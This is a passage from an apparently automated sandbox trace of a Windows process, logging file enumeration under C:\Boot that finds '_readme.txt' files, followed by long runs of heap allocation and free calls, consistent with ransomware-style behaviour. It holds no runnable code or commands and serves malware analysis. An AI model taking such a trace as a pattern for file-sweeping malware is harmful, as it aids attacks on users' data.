ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.553] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned=".txt" [0122.553] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bfc4d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.554] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.554] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.554] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.557] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.561] RtlAllocateHeap 